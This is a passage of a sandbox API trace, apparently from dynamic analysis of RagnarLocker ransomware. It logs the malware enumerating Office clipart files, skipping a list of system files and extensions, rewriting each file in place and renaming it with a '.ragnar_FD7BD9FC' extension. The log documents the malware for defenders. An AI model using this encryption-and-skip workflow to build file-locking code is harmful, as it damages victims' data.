liDistanceToMove=0x6978, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.518] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.519] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.519] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.519] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.519] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.519] GetProcessHeap () returned 0x580000 [0083.519] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.519] CloseHandle (hObject=0xf4) returned 1 [0083.519] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" [0083.519] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.ragnar_FD7BD9FC" [0083.519] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.522] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102762.WMF", cAlternateFileName="")) returned 1 [0083.522] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.522] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0102762.WMF" | out: lpString1="J0102762.WMF") returned="J0102762.WMF" [0083.522] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned=".WMF" [0083.522] lstrcmpiW (lpString1="J0102762.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.522] lstrcmpiW (lpString1="J0102762.WMF", lpString2="autorun.inf") returned 1 [0083.522] lstrcmpiW (lpString1="J0102762.WMF", lpString2="boot.ini") returned 1 [0083.522] lstrcmpiW (lpString1="J0102762.WMF", lpString2="bootfont.bin") returned 1 [0083.522] lstrcmpiW (lpString1="J0102762.WMF", lpString2="bootsect.bak") returned 1 [0083.522] lstrcmpiW (lpString1="J0102762.WMF", lpString2="bootmgr") returned 1 [0083.522] lstrcmpiW (lpString1="J0102762.WMF", lpString2="bootmgr.efi") returned 1 [0083.522] lstrcmpiW (lpString1="J0102762.WMF", lpString2="bootmgfw.efi") returned 1 [0083.522] lstrcmpiW (lpString1="J0102762.WMF", lpString2="desktop.ini") returned 1 [0083.522] lstrcmpiW (lpString1="J0102762.WMF", lpString2="iconcache.db") returned 1 [0083.522] lstrcmpiW (lpString1="J0102762.WMF", lpString2="ntldr") returned -1 [0083.523] lstrcmpiW (lpString1="J0102762.WMF", lpString2="ntuser.dat") returned -1 [0083.523] lstrcmpiW (lpString1="J0102762.WMF", lpString2="ntuser.dat.log") returned -1 [0083.523] lstrcmpiW (lpString1="J0102762.WMF", lpString2="ntuser.ini") returned -1 [0083.523] lstrcmpiW (lpString1="J0102762.WMF", lpString2="thumbs.db") returned -1 [0083.523] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.523] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.523] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.523] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.523] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.523] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.523] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf")) returned 0x20 [0083.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.523] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11216) returned 1 [0083.523] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2bc7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.523] GetProcessHeap () returned 0x580000 [0083.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.523] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.525] VirtualAlloc (lpAddress=0x0, dwSize=0x2bd0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.525] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.525] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.525] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2bd0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2bd0, lpOverlapped=0x0) returned 1 [0083.526] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.526] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2bd0, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.526] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2bd0, lpOverlapped=0x0) returned 1 [0083.526] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2bd0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.526] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.527] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2bd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.527] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.527] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.527] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.527] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.527] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.527] GetProcessHeap () returned 0x580000 [0083.527] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.527] CloseHandle (hObject=0xf4) returned 1 [0083.527] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" [0083.527] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.ragnar_FD7BD9FC" [0083.527] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.528] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4290, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102984.WMF", cAlternateFileName="")) returned 1 [0083.528] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.528] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0102984.WMF" | out: lpString1="J0102984.WMF") returned="J0102984.WMF" [0083.528] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned=".WMF" [0083.528] lstrcmpiW (lpString1="J0102984.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.528] lstrcmpiW (lpString1="J0102984.WMF", lpString2="autorun.inf") returned 1 [0083.528] lstrcmpiW (lpString1="J0102984.WMF", lpString2="boot.ini") returned 1 [0083.528] lstrcmpiW (lpString1="J0102984.WMF", lpString2="bootfont.bin") returned 1 [0083.528] lstrcmpiW (lpString1="J0102984.WMF", lpString2="bootsect.bak") returned 1 [0083.528] lstrcmpiW (lpString1="J0102984.WMF", lpString2="bootmgr") returned 1 [0083.528] lstrcmpiW (lpString1="J0102984.WMF", lpString2="bootmgr.efi") returned 1 [0083.528] lstrcmpiW (lpString1="J0102984.WMF", lpString2="bootmgfw.efi") returned 1 [0083.528] lstrcmpiW (lpString1="J0102984.WMF", lpString2="desktop.ini") returned 1 [0083.528] lstrcmpiW (lpString1="J0102984.WMF", lpString2="iconcache.db") returned 1 [0083.528] lstrcmpiW (lpString1="J0102984.WMF", lpString2="ntldr") returned -1 [0083.528] lstrcmpiW (lpString1="J0102984.WMF", lpString2="ntuser.dat") returned -1 [0083.528] lstrcmpiW (lpString1="J0102984.WMF", lpString2="ntuser.dat.log") returned -1 [0083.528] lstrcmpiW (lpString1="J0102984.WMF", lpString2="ntuser.ini") returned -1 [0083.528] lstrcmpiW (lpString1="J0102984.WMF", lpString2="thumbs.db") returned -1 [0083.528] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.528] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.528] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.528] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.528] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.529] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.529] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf")) returned 0x20 [0083.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.529] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17040) returned 1 [0083.529] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4287, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.529] GetProcessHeap () returned 0x580000 [0083.529] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.529] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.531] VirtualAlloc (lpAddress=0x0, dwSize=0x4290, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.531] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.531] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.531] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4290, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4290, lpOverlapped=0x0) returned 1 [0083.532] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.532] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4290, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.532] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4290, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4290, lpOverlapped=0x0) returned 1 [0083.532] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4290, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.532] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.533] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4290, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.533] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.533] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.533] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.533] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.533] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.533] GetProcessHeap () returned 0x580000 [0083.533] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.533] CloseHandle (hObject=0xf4) returned 1 [0083.533] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" [0083.533] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.ragnar_FD7BD9FC" [0083.533] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.534] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103058.WMF", cAlternateFileName="")) returned 1 [0083.534] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.534] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0103058.WMF" | out: lpString1="J0103058.WMF") returned="J0103058.WMF" [0083.534] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned=".WMF" [0083.534] lstrcmpiW (lpString1="J0103058.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.534] lstrcmpiW (lpString1="J0103058.WMF", lpString2="autorun.inf") returned 1 [0083.534] lstrcmpiW (lpString1="J0103058.WMF", lpString2="boot.ini") returned 1 [0083.534] lstrcmpiW (lpString1="J0103058.WMF", lpString2="bootfont.bin") returned 1 [0083.534] lstrcmpiW (lpString1="J0103058.WMF", lpString2="bootsect.bak") returned 1 [0083.534] lstrcmpiW (lpString1="J0103058.WMF", lpString2="bootmgr") returned 1 [0083.534] lstrcmpiW (lpString1="J0103058.WMF", lpString2="bootmgr.efi") returned 1 [0083.534] lstrcmpiW (lpString1="J0103058.WMF", lpString2="bootmgfw.efi") returned 1 [0083.534] lstrcmpiW (lpString1="J0103058.WMF", lpString2="desktop.ini") returned 1 [0083.534] lstrcmpiW (lpString1="J0103058.WMF", lpString2="iconcache.db") returned 1 [0083.534] lstrcmpiW (lpString1="J0103058.WMF", lpString2="ntldr") returned -1 [0083.534] lstrcmpiW (lpString1="J0103058.WMF", lpString2="ntuser.dat") returned -1 [0083.534] lstrcmpiW (lpString1="J0103058.WMF", lpString2="ntuser.dat.log") returned -1 [0083.534] lstrcmpiW (lpString1="J0103058.WMF", lpString2="ntuser.ini") returned -1 [0083.534] lstrcmpiW (lpString1="J0103058.WMF", lpString2="thumbs.db") returned -1 [0083.534] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.534] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.534] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.534] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.534] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.534] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.534] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf")) returned 0x20 [0083.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.535] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17344) returned 1 [0083.535] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x43b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.535] GetProcessHeap () returned 0x580000 [0083.535] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.535] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.536] VirtualAlloc (lpAddress=0x0, dwSize=0x43c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.536] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.536] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.537] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x43c0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x43c0, lpOverlapped=0x0) returned 1 [0083.538] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.538] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x43c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.538] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x43c0, lpOverlapped=0x0) returned 1 [0083.538] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x43c0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.538] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.538] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x43c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.538] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.538] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.538] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.539] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, 